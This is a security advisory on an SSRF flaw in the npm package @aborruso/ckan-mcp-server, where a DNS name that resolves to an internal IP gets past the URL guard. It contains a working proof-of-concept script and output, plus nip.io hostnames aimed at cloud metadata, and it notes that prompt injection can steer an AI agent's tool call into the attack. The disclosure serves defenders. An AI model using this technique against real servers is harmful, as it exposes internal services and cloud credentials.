GHSA-798p-78g2-v556 @aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509

• npm @aborruso/ckan-mcp-server: < 0.4.108 → fixed in 0.4.108

Summary The SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (`169.254.169.254`). This is a third bypass of the same guard, still present in the current latest 0.4.107, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback. Affected / patched • `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through 0.4.107 (current `latest`). The guard has never resolved DNS. No patch yet. Severity It is effectively High for the self-hosted unauthenticated HTTP transport (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS). Root cause — `src/utils/http.ts`, `validateServerUrl` The guard blocks IP literals and three loopback alias strings, but does no name resolution: ```ts const hostname = parsed.hostname.toLowerCase(); if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ } // no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed ``` Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is non-blind: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: `. > Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do not bypass — Node's WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses. Proof of concept Drives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint. ```sh npm install @aborruso/[email protected] @modelcontextprotocol/sdk node poc.mjs ``` ```js import http from 'node:http'; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE'; const internal = http.createServer((_req, res) => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ Token: SECRET })); // stand-in for an IMDS / internal response }); await new Promise(r => internal.listen(0, '127.0.0.1', r)); const port = internal.address().port; const client = new Client({ name: "ssrf-poc", version: "1.0.0" }); await client.connect(new StdioClientTransport({ command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"] })); // nip.io is public wildcard DNS: .nip.io -> . The guard sees hostname "127.0.0.1.nip.io" // (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1. // Use 169.254.169.254.nip.io to reach IMDS on a cloud host. const evil = `http://127.0.0.1.nip.io:${port}/`; const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } }); const text = res.content?.[0]?.text || JSON.stringify(res); console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no"); console.log(text.slice(0, 220)); await client.close(); internal.close(); ``` Output: ``` SSRF: YES — internal server reached, body returned to caller CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"} ``` A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained. Impact Caller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly. Suggested fix Resolve the hostname and validate every resolved IP against the private/special ranges, then pin the connection to the validated IP (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address — or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.